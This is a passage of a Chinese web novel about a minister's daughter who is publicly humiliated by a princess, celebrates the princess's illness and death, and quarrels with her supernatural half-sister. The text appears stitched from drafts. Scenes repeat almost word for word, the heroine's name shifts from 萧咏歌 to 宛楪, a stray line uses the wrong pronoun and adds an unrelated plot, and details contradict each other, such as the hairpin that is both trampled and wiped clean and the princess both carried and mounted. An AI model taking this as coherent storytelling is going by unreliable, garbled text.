她抬头望去,只见一队人马浩浩荡荡地从山道那头过来。当先的是二十四名红衣骑兵,个个腰悬长刀,威风凛凛。随后是十二名宫女,捧着香炉、拂尘、如意等物,步态袅娜。再往后,是一顶八人抬的肩舆,舆上坐着一个人——
大公主。
她穿着一身玄色骑装,领口袖口绣着金线的龙纹,发髻高挽,簪着九凤衔珠的金步摇,那步摇上的珠子比萧亦熙那颗大三倍不止。她懒洋洋地歪在肩舆里,一只手撑着下巴,眼睛半眯着,像是在打盹。可那通身的气派,让人想不注意都难。
萧亦熙的脚步顿住了。
她下意识往路边退了退,垂下眼,做出恭敬的样子。可眼角的余光还是忍不住往那肩舆上瞟——那玄色的骑装,那金线的龙纹,那九凤衔珠的金步摇,还有那懒洋洋的、仿佛天下万物都不放在眼里的姿态。
她的指甲掐进了掌心。
凭什么?
凭什么她费尽心思打扮,大公主只是往那儿一歪,所有人的目光就都被她吸走了?
凭什么她戴一颗南洋明珠就觉得自己了不起,大公主那步摇上的珠子比她大三倍不止?
凭什么她站在路边给人让道,大公主却能坐在肩舆上被人抬着走?
肩舆在她面前停了下来。
萧亦熙心里咯噔一下,连忙把那些念头压下去,深深福下身去。
“臣女萧亦熙,见过公主殿下。”
头顶传来一声轻笑。那笑声懒洋洋的,带着几分漫不经心,却让萧亦熙的后背瞬间绷紧。
“萧家的?”大公主的声音从上头落下来,慢悠悠的,“哪个萧家?”
萧亦熙低着头,恭敬答道:“回殿下,家父是礼部尚书萧——”
“哦——”大公主拉长了声音,“想起来了,就是那个去年才升上来的萧尚书?”
萧亦熙的指甲又掐深了一分。去年才升上来?父亲在礼部熬了二十年,从小小的主事一步步爬上来,怎么到了大公主嘴里,就成了“去年才升上来”?
可她只能恭顺地应道:“正是。”
“抬起头来,让本宫看看。”
萧亦熙只能抬头。
大公主歪在肩舆里,居高临下地打量着她。那目光从上到下,从发髻上的八宝攒珠钗,到耳垂上的赤金红宝石坠子,到身上的绯红云锦骑装,一寸一寸地扫过去,像是在看一件货物。
然后大公主笑了。
那笑声不大,却清清楚楚地钻进萧亦熙耳朵里,像针扎一样。
“你们瞧瞧,”大公主偏过头,对身边的宫女说,“她这身打扮,像不像一只开屏的孔雀?”
宫女们掩着嘴笑起来。那笑声此起彼伏,像一群鸭子在叫。
萧亦熙的脸腾地红了。红得像要滴出血来。她攥紧手,指甲掐进掌心,掐得生疼,却只能挤出一个笑,低声说:“公主说笑了。”
“说笑?”大公主挑了挑眉,那眉峰高高扬起,带着几分戏谑,“本宫像是会说笑的人吗?你瞧瞧你,穿成这样——这骑装的料子是云锦吧?苏州织造的东西,一年也进不了几匹,本宫那儿倒是有两匹,一直扔在库里没动,嫌太艳了。你倒好,拿来裁成骑装,穿来打猎?”
她顿了顿,上上下下又打量了一遍,目光落在萧亦熙的腰上。
“这腰勒得这样紧,能喘得过气吗?一会儿跑马,别从马背上栽下来。”
宫女们的笑声更大了。
萧亦熙站在那里,脸上火辣辣的,像是被人扇了十几个耳光。她身后不远处的那些贵女们——平日里跟她姐姐妹妹相称、一起赏花喝茶、一起做针线活儿的那些人——此刻一个个低着头,盯着自己的脚尖,像是那脚尖上开了花。没有一个人站出来替她说一句话。
大公主还在继续说,声音懒洋洋的,像是猫在逗一只老鼠。
“本宫听说,你倾慕慕酌?”
萧亦熙浑身一僵。
那三个字像一根针,直直刺进她心口最软的地方。
“怎么?”大公主看见她的反应,笑得更好看了,“被本宫说中了?哎呀,本宫就是随口一问,你这么紧张做什么?”
她从肩舆里坐直了些,往前探了探身子,像是要看清萧亦熙的表情。
“慕酌那个人吧……”她慢悠悠地说,“长得是不错,手里也有些兵,满京城的姑娘有几个不惦记的?本宫也惦记呢。”
萧亦熙猛地抬起头。
她看见大公主脸上那种笑——那种笑她太熟悉了,是猫抓住老鼠之后,不急着吃,先玩一会儿的笑。是高高在上的人看着蝼蚁挣扎的笑。
“你这么看着本宫做什么?”大公主挑了挑眉,“怎么,你惦记的人,本宫就不能惦记?还是你觉得,你配跟本宫争?”
萧亦熙的喉咙像是被什么东西堵住了,一个字都说不出来。
“本宫替你算算啊。”大公主伸出一只手,掰着手指头数,“你父亲是礼部尚书,从二品,在满京城的官儿里,勉强能排进前二十。你母亲是续弦,原配留下的嫡子嫡女比你大十几岁,你跟你那些哥哥姐姐根本不亲。你舅舅是个六品小官,在吏部熬了十年也没熬出头。你——”
她顿了顿,似笑非笑地看着萧亦熙。
“你说说,你拿什么跟本宫比?”
萧亦熙站在那里,浑身发抖。
她不是没被人羞辱过。后宅里那些弯弯绕绕,嫡母的冷眼,庶姐的挤兑,她都经历过。可那些羞辱,跟眼前的比起来,简直像是小孩子过家家。
大公主不是在羞辱她。大公主是在把她碾碎,碾成齑粉,让她知道什么叫天壤之别。
“本宫劝你啊,”大公主往肩舆里一靠,又恢复了那懒洋洋的姿势,“趁早死了这条心。慕酌那样的人,就是配本宫这样的公主。你这样的——”
她上下扫了萧亦熙一眼,轻笑一声。
“也就配找个六七品的小官,嫁过去当个管家婆,每日算着柴米油盐,一年到头也穿不了几身新衣裳。再过几年,人老珠黄,连那六七品的小官都要纳妾。你这辈子,也就这样了。”
萧亦熙的脸已经没有了血色。惨白惨白的,像一张纸。
她的手在袖子里抖得厉害。指甲掐进掌心,掐出了血,可她感觉不到疼。
她只想——
只想什么?
她不知道。
她只知道她从来没有像此刻这样,想让一个人死。
“行了。”大公主挥挥手,像赶一只苍蝇,“别挡着本宫的道。本宫还要去射猎呢,没功夫看孔雀开屏。”
她顿了顿,忽然又笑起来,补了一句:
“对了,你那孔雀开屏的样子,本宫会替你告诉慕酌的。让他也乐呵乐呵。”
肩舆从她身边过去了。马队从她身边过去了。尘土扬起来,扑了她一脸。
萧亦熙站在原地,一动不动。
她就那样站着,脸上还挂着笑——那笑是她拼尽全力挤出来的,是她最后的体面。可眼眶已经红了,红得快要兜不住那点水光。
大公主走远了。那些贵女们围上来,七嘴八舌地安慰她。
“亦熙姐姐,你别往心里去,大公主就是那个性子……”
“是啊是啊,她对谁都这样,不是针对你……”
“你今日这身骑装真好看,真的,特别衬你……”
萧亦熙笑着说没事。她笑着说不往心里去。她笑着说大公主身份尊贵,说几句怎么了。
她说这些话的时候,脸上一直带着笑。
只有她自己知道,那笑容底下,是一片血淋淋的伤口。
那天晚上,萧府西院的正房里,瓷器碎了一地。
青花的茶盏,粉彩的碟子,斗彩的碗——噼里啪啦,碎得满地都是。伺候的丫鬟跪了一地,头埋得低低的,大气都不敢出。
萧亦熙砸完了最后一件东西,喘着气坐在榻上。
屋里一片狼藉。满地碎瓷,满地的茶水茶叶。她的那身绯红骑装被扔在地上,八宝攒珠钗也摔在角落里,那颗明珠上沾了茶渍,灰扑扑的,再没有早上那种光彩。
她就那么坐着,看着地上的狼藉,看着那身骑装,看着那支钗。
然后她忽然想起大公主最后那句话。
“你那孔雀开屏的样子,本宫会替你告诉慕酌的。让他也乐呵乐呵。”
她慢慢攥紧了手。
掌心被瓷片划破的地方还在渗血,血从指缝间滴下来,一滴一滴,落在榻上。
可她不觉得疼。
她只是想着那个画面——大公主歪在肩舆里,懒洋洋地笑着,用那种猫逗老鼠的语气,把今日的事说给慕酌听。
说她是如何站在路边,如何被她羞辱,如何像一只开屏的孔雀,如何连句话都说不出来。
那支被马蹄踏碎的钗子——那是她及笄时父亲送的贺礼,拇指肚大小的珠子碎成了渣,在泥土里泛着可怜的光。
她的眼泪差点掉下来,却死死咬住牙,忍住了。
不能哭。
哭了就输了。
萧亦熙砸完了,喘着气坐在榻上,看着满地的狼藉,心里只有一个念头:
那个贱人,怎么不去死?
怎么不去死!
七日后,大公主真的“病”了。
消息传到尚书府的时候,萧亦熙正在用早膳。她端着粥碗,刚送到唇边,就听见碧桃跑进来,上气不接下气地说:“小姐!小姐!大公主出事了!”
萧亦熙的手顿住了。
她把粥碗放下,慢慢抬起头:“什么事?”
“说是突发心疾,差点没救过来!”碧桃的眼睛亮得吓人,声音都在发抖,“太医说是打娘胎里带的弱症,这些年被娇养着没发作,这回不知怎么就——反正现在躺在床上,下不来床了!”
萧亦熙愣了愣。
她就那么愣着,一动不动,像是一尊石像。
然后她慢慢地、慢慢地,弯起嘴角。
那弧度很浅,浅得几乎看不出来。可那确实是笑。
“突发心疾?”她轻声问,“打娘胎里带的弱症?”
“对对对,外面都传遍了!说是陛下发了很大的火,把太医院的院正都骂了,可那病来势汹汹,太医们也没办法!”
萧亦熙端起粥碗,送到唇边,喝了一口。
粥是温的,不烫不凉,刚好入口。她嚼着里面的莲子,忽然觉得这粥今日格外的香。
“小姐,”碧桃压低声音,凑近了些,“您说,这算不算报应?”
她端起茶盏,抿了一口。茶水微烫,熨过喉咙,暖洋洋的。
她忽然觉得,这茶今日格外的香。
病了。差点死了。打娘胎里带的弱症。
她把这几个词在舌尖上滚了一遍,慢慢地、细细地品着。
品着品着,她的眼眶忽然有些发热。
不是难过。
是高兴。
高兴得想哭。
那个高高在上、把她当蝼蚁一样踩在脚底下的贱人,那个要嫁给慕酌的贱人,那个扯碎她钗子的贱人——现在躺在床上下不来,生不如死。
真好。
她放下茶盏,忽然想起那日在围场,大公主身边的那些宫女笑得花枝乱颤的样子。
你们的主子都这样了,你们还笑得出来吗?
她慢慢勾起嘴角。
这世道真有意思。你看着别人是蝼蚁,
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殊不知在别人眼里,你也是蝼蚁。
窗外的春光正好。阳光暖洋洋的,照在她脸上,把她的眉眼都镀上一层金色。
院子里的桃花开了,粉粉白白的一片,有蝴蝶在花间飞来飞去。
萧亦熙看着那春光,看着那桃花,看着那蝴蝶。
她忽然想起七日前那日,她站在围场的路边,被大公主当众羞辱。
想起那些宫女掩着嘴笑的样子。想起那些贵女们低头装聋作哑的样子。想起大公主说“你那孔雀开屏的样子,本宫会替你告诉慕酌的”。
她想起那些的时候,嘴角的弧度又深了一分。
“病了。”她轻轻说,像是在自言自语,“差点死了。”
她顿了顿。
“真好。”
那两个字说得很轻,轻得像是怕被人听见。可那轻飘飘的两个字里,藏着的东西,重得能把人压死。
碧桃站在她身后,看着她的背影,忽然觉得有些害怕。
小姐的背影还是那个背影,可不知道为什么,她总觉得有什么东西不一样了。
大公主薨了的消息传遍京城时,萧亦熙正在绣一件披风——是给父亲绣的寿礼,绣的是松鹤延年的图样。丫鬟跌跌撞撞跑进来报信时,她手里的针一抖,扎进了指尖。
一滴血沁出来,落在白绢上,洇开一朵小小的红梅。
萧亦熙看着那滴血,愣了一会儿,然后慢慢笑了。
她把染了血的白绢放下,起身走到窗边,推开窗。
外面是四月的好天气,阳光明媚,鸟语花香。
她深吸一口气,只觉得这空气比往日都清新。
死了。
真的死了。
那个贱人,死了。
萧亦熙站在窗前,望着天边悠悠飘过的白云,忽然想起那日在围场,大公主骑在马上,居高临下地看着她,像看一只蝼蚁。
蝼蚁?
她轻轻笑了一声。
谁是谁的蝼蚁,现在才知道。
可这份高兴还没捂热,第二道消息就来了——
配阴婚。陛下要让慕酌以驸马之礼,迎娶大公主的灵位。
萧亦熙听到这个消息时,正在喝茶。
她的手一抖,茶盏没拿稳,滚烫的茶水泼在手背上,红了一片。可她觉不出疼。
她只是愣在那里,脑子里嗡嗡的,反复回响着那几个字——
配阴婚。
阴婚。
人死了,还要成亲。
她慢慢抬起头,看着来报信的丫鬟,声音有些飘:“你说什么?”
丫鬟吓得缩了缩脖子,却还是硬着头皮又说了一遍:“陛下下旨了,让慕将军和大公主……配阴婚。”
萧亦熙没说话。
她把茶盏放下,动作很慢,很轻。茶盏落在桌上,发出一声极轻的脆响。
然后她站起身,走到窗前。
窗外是四月的好天气,阳光明媚,鸟语花香。院子里那株海棠开得正好,粉白的花瓣在风里轻轻摇晃。
她看着那株海棠,忽然笑了一声。
“凭什么?”
她的声音很轻,像是自言自语。
丫鬟不敢吭声。
萧亦熙站在那里,阳光落在她身上,暖融融的。可她的指尖,却冰凉冰凉的。
凭什么?
那个贱人活着的时候羞辱她,骑在马上居高临下地看着她,像看一只蝼蚁一样看着她,当众扯碎她的钗子,让她在那么多人面前抬不起头来——
凭什么她死了,还能嫁给慕酌?
凭什么她死了,还要占着那个人?
萧亦熙想起那日在围场,大公主俯下身凑近她,声音又尖又细:“本宫听说,你也惦记着慕酌?”
她当时站在那里,脸上挂着笑,心里却在滴血。
她是惦记着慕酌。
满京城的贵女,谁不惦记?
可她能怎么办?
那是公主,是皇帝最宠爱的女儿。她只是个尚书府的嫡女,再风光,在公主面前也什么都不是。
她只能忍着,只能笑着,只能低着头说“公主说笑了”。
她以为大公主死了,一切就好了。
那个贱人死了,她就不用再忍了。
可现在呢?
人死了,还要嫁。
死了,还要占着。
萧亦熙的手指紧紧攥住窗框,指节泛白。
“凭什么她是公主?”
她咬着牙,声音低低的,像是从牙缝里挤出来的。
“凭什么她活着是公主,死了还是公主?凭什么她想羞辱谁就羞辱谁,想嫁给谁就嫁给谁?凭什么她死了,还要占着那个人?”
丫鬟吓得跪在地上,大气都不敢出。
萧亦熙没看她。
她只是望着窗外那株海棠,望着那些粉白的花瓣在风里摇摇晃晃。
她忽然想起小时候,母亲抱着她,说:“我们熙儿生得这样好,将来一定要嫁个好人家。最好是嫁入皇家,做王妃,做皇后,那才是真正的人上人。”
她那时候不懂,只是甜甜地笑。
后来她懂了。
嫁入皇家,做人上人,再也不用看任何人的脸色。
后来他才知道那哪里是什么好去处,那就是一个吸血的魔窟,他一个20岁的小姑娘进宫去伺候一个六十多岁的老头。
凭什么?
现在那个病秧子死了,她以为自己有机会了。
结果呢,那个人死了,还要嫁给他。
萧亦熙忽然觉得有些冷。
明明是四月天,阳光那么好,她却觉得从骨头缝里往外冒寒气。
“我不是公主。”
她轻声说。
声音很轻,轻得像一声叹息。
“我要是公主就好了。”
她要是公主,那日在围场,被羞辱的就是别人。
她要是公主,就不会被逼着入宫。
可她不是。
她只是尚书府的嫡女,再风光,也什么都不是。
萧亦熙望着窗外那株海棠,望着那些在风里摇摇晃晃的花瓣,忽然想起了那支被马蹄踏碎的钗子。
那是她及笄时父亲送的贺礼,拇指肚大小的珠子,碎在泥里,沾了灰,被马蹄踩得稀烂。
就像她那日在围场,站在尘土里,脸上挂着笑,心里却碎成一片一片。
她慢慢松开攥紧窗框的手。
手心里,是几道深深的指甲印,渗着血丝。
她低头看着那些血印,忽然笑了。
那笑容很奇怪,不像是笑,倒像是哭。
“凭什么……”
她喃喃着。
声音低得几乎听不见。
窗外,海棠花瓣仍在风里摇摇晃晃。
粉白的,好看的,像极了那日在围场,那些贵女们脸上假惺惺的笑。
121. 醉酒
萧亦熙在那窗前站了很久。
阳光从东边移到头顶,又从头顶开始西斜。她的影子也跟着移,从长变短,又从短变长。
她就那么站着,一动不动。
直到太阳快落山的时候,她才转过身。
“备车。”她说,“我要出门。”
碧桃一愣:“小姐,这天都快黑了,您要去哪儿?”
萧亦熙没有回答。
她只是走进内室,打开妆奁,把那支八宝攒珠钗拿了出来。那颗明珠上的茶渍已经被擦干净了,在暮色里泛着柔和的光。
她看着那支钗,看了一会儿,又放了回去。
然后她拿起另一支钗——很素净的一支,白玉的,没有任何镶嵌。
她把这支钗插进发髻,对着镜子照了照,满意地点点头。
“走吧。”她说。
马车出了尚书府,一路往西。
穿过热闹的街市,穿过冷清的巷子,最后停在一处偏僻的院落前。
大公主发丧的消息传遍京城的第二日,萧亦熙去了西苑。
那是尚书府最偏僻的角落。几间破屋,漏风漏雨,墙皮剥落,窗纸破了也没人换。院子里杂草丛生,石径上长满了青苔,踩上去滑腻腻的。
住着那个新认回来的“二妹妹”——萧咏歌。
萧亦熙一开始没把这个妹妹放在眼里。
一个从小在外面长大的野丫头,能有什么出息?认回来也不过是多双筷子,等过两年随便找个人嫁了,还能给尚书府换点彩礼。
可这个野丫头,居然敢不把她放在眼里。
前几日在园子里遇上,她端着嫡女的架子,好心好意说了几句“妹妹刚回来,要多学着规矩”之类的话——结果那个野丫头只是淡淡看了她一眼,说了一句“知道了”,然后就走了。
就走了?
连福身行礼都没有?
萧亦熙当时气得脸都白了。可那天人多,她不好发作,只能忍着。
今日她心情好——大公主死了,她心情能不好吗?——所以决定来会会这个不知天高地厚的野丫头。
让她知道知道,这尚书府里,谁说了算。
西苑的门是破的,几块烂木板拼的,虚掩着。萧亦熙抬起脚,一脚踹开。
门板撞在墙上,发出“咣当”一声响。
萧亦熙走进去,看见萧咏歌正坐在窗边,手里拿着一本书,阳光从破了的窗纸里漏进来,落在她身上。她听见动静,却连头都没抬,依旧翻着书页。
萧亦熙的火蹭地就上来了。
“二妹妹好大的架子。”她站在门口,冷笑着开口,“姐姐来了,连个招呼都不打?”
尚书府最偏僻的角落,几间破屋,漏风漏雨,住着那个新认回来的“二妹妹”——萧咏歌。
灯光落在萧咏歌的脸上,把她那过分平静的眉眼照得清清楚楚。那是一张很素净的脸,不施脂粉,没有任何修饰,可不知道为什么,就是让人移不开目光。
她就那么坐着,像一尊佛像。
萧亦熙忽然想起围场那日,大公主歪在肩舆里,居高临下地看着她。那种高高在上、仿佛天下万物都不放在眼里的姿态,和此刻萧咏歌的样子,竟有几分说不出的相似。
可又不一样。
大公主的高高在上,是刻意摆出来的。是用排场、用身份、用那九凤衔珠的金步摇堆出来的。
而萧咏歌的淡淡然,是从骨子里透出来的。是不需要任何东西,就让人觉得自己在她面前什么都不是。
萧亦熙站在那里,忽然不知道该怎么开口。
她来的时候,心里是有一股气的。那股气撑着她,让她想来看看这个妹妹,想试探试探,想知道那些传言是不是真的。
可此刻站在这间破屋里,站在这个人面前,那股气忽然就散了。
“有事?”萧咏歌翻了一页书,头都没抬。
亦熙的脸沉下来。
她走上前,一把夺过那本书,摔在地上。
书页散落,沾了灰。
“本小姐跟你说话,你聋了?”
萧咏歌终于抬起头,看了她一眼。
那眼神淡淡的,像看一只聒噪的麻雀。
萧亦熙被这眼神刺了一下——这眼神,她见过。
大公主那日在围场看她,也是这样的眼神。
居高临下,像看蝼蚁。
她的火再也压不住了。
“你这是什么眼神?”她逼近一步,声音尖厉起来,“你以为你是个什么东西?一个外面捡回来的野种,尚书府收留你,是可怜你!你当自己真是二小姐了?告诉你,在我面前,你什么都不是!”
萧咏歌没说话。
她只是坐在那里,看着眼前这个气急败坏的女人,表情平静得像一潭死水。
萧亦熙被这沉默激得更加恼火。她想起那日在围场,自己也是这样站在那些人面前,听着那些羞辱的话,脸上挂着笑,心里却恨不得杀人——
凭什么?
凭什么她要在那个贱人面前低头?凭什么她还要在这个野种面前忍气吞声?
那个贱人已经死了!
她是尚书府嫡女!她凭什么还要受气!
“说话啊!”她的声音几乎破了音,“怎么,哑巴了?还是心虚了?你以为你不说话就行了?”
萧咏歌叹了口气。
那声叹息很轻,却像一根针,扎在萧亦熙心上。
萧咏歌站起来,走到她面前。
萧亦熙愣了一下,下意识往后退了一步。
但已经晚了。
萧咏歌伸出手,抓住她的衣领。
那只手不粗,甚至称得上纤细,可力道却大得惊人。萧亦熙只觉得身子一轻,眼前一花——
然后她就飞了出去。
是真的飞。
她撞破那扇本就破旧的木门,在半空中划过一道弧线,结结实实地摔在院子里的泥地上。
尘土飞扬,呛得她咳嗽起来。
她趴在地上,半天爬不起来。嘴里全是泥,又苦又涩,手掌擦破了皮,火辣辣地疼。
萧咏歌站在门口,低头看着她。阳光从她身后照过来,把她的脸遮在阴影里,看不清表情。
“下次来之前,先敲门。”
说完,门关上了。
那扇本就破旧的木门,被她这一撞,彻底散了架,歪歪斜斜地挂在门框上,挡不住什么。
可萧亦熙知道,那道门,她不敢再进了。
她趴在泥地里,浑身发抖。
不是冷的,是气的。
她萧亦熙,尚书府嫡女,从小到大没受过这种羞辱!
那个贱人羞辱她,她忍了,因为那是公主。
可这个野种算什么东西?一个外面捡回来的野丫头,凭什么也敢这样对她!
她挣扎着爬起来,对着那扇破门嘶吼:“萧咏歌!你给我等着!我不会放过你的!”
门里没有回应。
只有风吹过院子,卷起几片落叶。
萧亦熙跺了跺脚,气冲冲地走了。
她要去告诉母亲,要把这个野丫头赶出去!
可走着走着,她的脚步忽然慢下来。
她想起刚才那个眼神。
那个淡淡的、像看一只聒噪的麻雀一样的眼神。
那个眼神里,没有恐惧,没有愤怒,没有她熟悉的一切。
只有漠然。
像在看一只蝼蚁。
萧亦熙打了个寒颤。
她想起大公主那日看她的眼神——也是这样的。
居高临下,像看蝼蚁。
可大公主是公主,是从小在宫里长大的金枝玉叶。
这个萧咏歌呢?
一个从小在外面长大的野丫头,凭什么也有这样的眼神?
萧亦熙想不明白。
她加快脚步,离开了西苑。
身后,那扇破门在风里吱呀作响。
——
萧亦熙走了以后,萧咏
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歌在窗边坐了很久。
窗子是破的,糊窗的纸缺了一大块,正好能看见外面的月亮。
今晚的月亮很圆,很亮,是四月里难得的好月色。月光从破洞里漏进来,在地上铺开一片银白,照得破屋里亮堂堂的。
萧咏歌看着那月亮,忽然觉得有些无聊。
她已经很久很久没有觉得无聊了。活了太久太久,久到她自己都记不清有多少年。无聊这种情绪,早该被磨平了才对。
可今日就是觉得无聊。
可能是因为那个萧亦熙太吵了。
吵得她头疼。
吵得她想——
想什么呢?
她不知道。
她只知道刚才把萧亦熙扔出去的时候,心里有一瞬间的痛快。
那种痛快,让她想起七日前在围场。
那日她也在。
她站在人群外面,看着大公主骑在马上,居高临下地羞辱萧亦熙。看着萧亦熙站在那里,脸上挂着笑,眼眶却红透了。
她看着看着,忽然抬手,从地上捡起一颗小石子。
然后她把那颗小石子,轻轻弹了出去。
石子划过一道弧线,落在大公主的马屁股上。
马受了惊,猛地一蹿,大公主差点摔下来。虽然被侍卫扶住了,可那一下,吓得她脸色发白,半天没缓过来。
那个时候,萧咏歌心里也有一瞬间的痛快。
她告诉自己:那是因为大公主欺负人,她看不惯。
可那日在云栖阁——大公主捂着心口栽倒在地的时候,她什么都没做。
她只是恰好路过,恰好看见。
恰好看见那个高高在上的女人,脸色煞白地倒下去,像一截被砍断的枯木。
恰好看见那些宫女尖叫着扑上去,乱成一团。
恰好看见那一瞬间,心里涌起的那股……
痛快。
萧咏歌垂下眼。
她忽然觉得自己有些不对劲。
活了这么久,她见过太多生死,太多悲欢,太多人间的不平事。她早就该麻木了,早就该无所谓了。
可为什么那一瞬间,她心里会有那样的感觉?
为什么把那颗小石子弹出去的时候,她会觉得痛快?
为什么看着大公主倒下去的时候,她也会觉得痛快?
为什么刚才把萧亦熙扔出去的时候,她还是觉得痛快?
萧咏歌想不明白。
她站起来,走到屋角。
那里放着一坛酒。
是前几日丁灵派人送来的,说是南国新酿的百花酿,让她尝尝鲜。
她一直没动。
她不怎么喝酒。也不怎么尝人间的东西。
那些东西对她来说,太浓烈,太短暂,太容易让人生出不该有的念想。
可今晚,她忽然想尝一尝。
她拍开泥封,倒了一碗。
酒液清澈,泛着淡淡的花香,月光照进去,像盛了一碗碎银子。
她端起来,抿了一口。
有点甜。
有点辣。
咽下去的时候,喉咙里烧烧的,像有一团小火苗,从喉咙一路烧到胃里。
她又喝了一口。
然后又一口。
一碗见底的时候,她觉得脸颊有些发烫。
她又倒了一碗。
第二碗喝到一半的时候,她觉得眼前的东西开始晃。
那月亮本来在窗外,现在好像跑到屋里来了。
她眨了眨眼,月亮又回到窗外了。
她又眨了眨眼,月亮又跑进来了。
她低头看着手里的碗,忽然笑了。
原来醉了是这种感觉。
活了这么久,还是第一次醉。
她放下碗,站起来,想走到窗边去看看月亮。
月光太亮了,亮得有些晃眼。
她往前走了一步。
又走了一步。
然后她就不在屋里了。
123. 男宠?
宛楪醒来的时候,闻见的是熟悉的熏香。
天机楼。
她睁开眼,看见的是熟悉的帐顶,熟悉的窗棂,熟悉的日光从窗缝里漏进来,落在地上,一格一格的。
她躺了一会儿,慢慢想起昨夜的事。
酒。月亮。走错的门。那个院子。那个人。
那个人敞开的衣襟,那些伤疤,那双通红的眼睛。
然后就忘了……
宛楪闭上眼。
她居然在他怀里睡着了。
活了这么久,从来没有过的事。
她不知道将军府怎么走,因为她是跟着真身的气味追过去的,法力刚刚有恢复的迹象,她就这个顺着意识……
也怪她自己,非要喝什么酒。
“醒了?”
一个声音从旁边传来,带着笑,却笑得不太对劲。
宛楪转头,看见丁灵坐在窗边,手里端着一盏茶,正看着她。
那眼神很复杂。有调侃,有无奈,还有一点冷。
“你怎么把我接回来的?”宛楪坐起来,问。
“我怎么把你接回来的?”丁灵重复了一遍,笑了一声,“我倒想问你,你是怎么跑到人家将军府去的?”
宛楪没说话。
丁灵放下茶盏,站起来,走到榻边,居高临下地看着她。
“你知不知道我找了你一夜?你知不知道我差点以为你出事了?你知不知道——”她顿了顿,声音低下去,“你知不知道我看见你在那个男人怀里睡着的时候,我在想什么?”
宛楪抬起头,看着她。
丁灵的眼睛里没有笑。
“我在想,完了。”
她说得很轻,很慢,像是从牙缝里挤出来的。
“我跟你说过多少次?不要喜欢人类。不要靠近人类。不要对人类动心。人和妖相恋,能有什么好结果?我亲身经历过,我比谁都清楚。”
宛楪张了张嘴,想说她没有喜欢,想说她只是喝醉了走错了,想说一切都是意外。
可丁灵没让她说。
“你不用解释。”丁灵转过身,走到窗边,背对着她,“我什么都看见了。你看他的眼神,你靠在他怀里的样子——你以为我看不出来?”
宛楪沉默了。
“我不会拦你。”丁灵的声音从窗边传来,有些闷,“我只是提醒你。你走的这条路,我走过。你知道结局是什么。”
宛楪垂下眼。
她知道。
她当然知道。
丁灵曾经爱过一个人类,被背叛,被抛弃,绝境逢生后亲手把那个人埋了。
这个故事她听过很多遍,每次丁灵都是用笑着的语气说的,像是讲别人的事。
可她知道那不是别人的事。
那是丁灵心上永远好不了的疤。
“我不会的。”宛楪开口,声音很淡,“我没有喜欢他。只是……只是喝醉了。”
丁灵回过头,看着她。
那眼神像是在说:你骗谁呢?
但她什么都没说,只是笑了一下,笑容很淡,眼里没有温度。
“行,你说是就是。”
宛楪在天机楼住了三日。
三日里,丁灵没有再提那晚的事。她还是像以前一样,笑嘻嘻的,爱调侃,爱说笑,好像什么都没发生过。
可宛楪知道,有什么东西变了。
丁灵看她的眼神,偶尔会冷一下。只是一下,很快就收回去,像是什么都没发生。
宛楪没有解释。也没什么好解释的。
第三日傍晚,天机楼的人送来一张帖子。
是萧府的。
说是嫡女萧亦熙设了家宴,请二妹妹回府一叙,姐妹情深,莫要推辞。
宛楪看着那张帖子,忽然想笑。
姐妹情深?
那个三天两头来找她麻烦、被她扔出去的大姐,跟她有什么姐妹情深?
“去吗?”丁灵凑过来,看了一眼帖子,挑了挑眉,“这摆明了是鸿门宴。”
宛楪把帖子放下。
“不去的话,她会一直来烦我。”
“所以你去?”
“去。”宛楪站起来,“看看她想干什么。”
丁灵看着她,忽然笑了一下。
“行,我陪你去。”
宛楪看了她一眼。
丁灵耸耸肩:“我怕你把她打死。好歹是尚书府嫡女,真打死了麻烦。”
宛楪没说话。
她知道丁灵不是怕她打死人。丁灵是怕她出事。
这个朋友,嘴上永远没一句正经话,可心里比谁都护短。
萧府的家宴设在正厅。
宛楪到的时候,萧亦熙已经坐在主位上,穿着一身簇新的衣裙,打扮得明艳照人。看见她进来,脸上堆起笑,热情得不像话。
“二妹妹来了!快坐快坐,姐姐等你好久了。”
宛楪看了她一眼,在客位坐下。
丁灵没有进来,说是在外面等她。
宴席摆开,菜品一道一道端上来,萧亦熙殷勤地给她布菜,嘴里说着什么“妹妹在外面受苦了”“姐姐心疼你”“以后有什么需要尽管跟姐姐说”之类的话。
宛楪听着,淡淡地应着,筷子没怎么动。
活了太久,见过太多,这种假惺惺的场面话,她听得耳朵都要起茧子。
萧亦熙说了半天,见她不冷不热的,脸上的笑有些挂不住。
但她还是笑着,笑着,笑着给宛楪倒了一杯酒。
“妹妹尝尝这个,是姐姐特地为你备的,南边来的好酒。”
宛楪低头看着那杯酒。
酒液清澈,泛着淡淡的琥珀色光。
她端起杯,放在鼻端闻了闻。
然后她放下杯。
“多谢姐姐。”她说,“只是我不喝酒。”
萧亦熙的笑僵了一下。
“怎么?是嫌弃姐姐的酒不好?”
“不是。”宛楪看着她,眼神很淡,“只是不喜欢。”
萧亦熙的笑容彻底挂不住了。
她放下筷子,脸上的假笑一点一点收起来,换上的是赤裸裸的恶意。
“宛楪,你别给脸不要脸。”
宛楪没说话。
萧亦熙站起来,居高临下地看着她。
“你以为你是个什么东西?一个外面捡回来的野种,尚书府收留你,是可怜你!我给你设宴,是抬举你!你倒好,端起架子来了?”
宛楪端起茶盏,抿了一口。
“说完了?”
萧亦熙愣住了。
她没想到这个野丫头会是这种反应。
不应该是害怕吗?不应该是求饶吗?不应该是哭着喊着说“姐姐我错了”吗?
可这个野丫头就坐在那里,喝着茶,表情淡淡的,像是在听一只蚊子嗡嗡叫。
萧亦熙的脸涨红了。
“你——”她指着宛楪,手指发抖,“你给我等着!”
说完,她转身冲了出去。
宛楪看着她的背影,放下茶盏。
就这?
宛楪走出正厅的时候,看见丁灵站在院子里,正跟几个萧府的丫鬟说着什么。
那几个丫鬟看见她出来,脸色一变,匆匆行礼跑开了。
丁灵走过来,笑着说:“你那个大姐,动作挺快。”
宛楪看着她。
丁灵耸耸肩:“刚才那几个丫鬟,是在商量怎么往你房里塞东西。听说是什么……男人的贴身物件?还有一封信,写着什么‘深夜相会’之类的。啧啧,这套路真老,我几百年前就玩腻了。”
宛楪听完,表情没什么变化。
“然后呢?”
“然后?”丁灵眨眨眼,“然后我跟她们说,你们家二小姐今晚住天机楼,不回来了。那些东西,留着你们自己用吧。”
宛楪看着她。
丁灵笑嘻嘻的,一副“我厉害吧”的样子。
宛楪忽然有些想笑。
“多谢。”
“谢什么。”丁灵摆摆手,“走吧,回天机楼。我看你这尚书府的二小姐,是当不下去了。”
宛楪点点头,跟着她往外走。
走到门口的时候,她回头看了一眼萧府的牌匾。
住在这里的那个“大姐”,天天想着怎么害她。
可她一点都
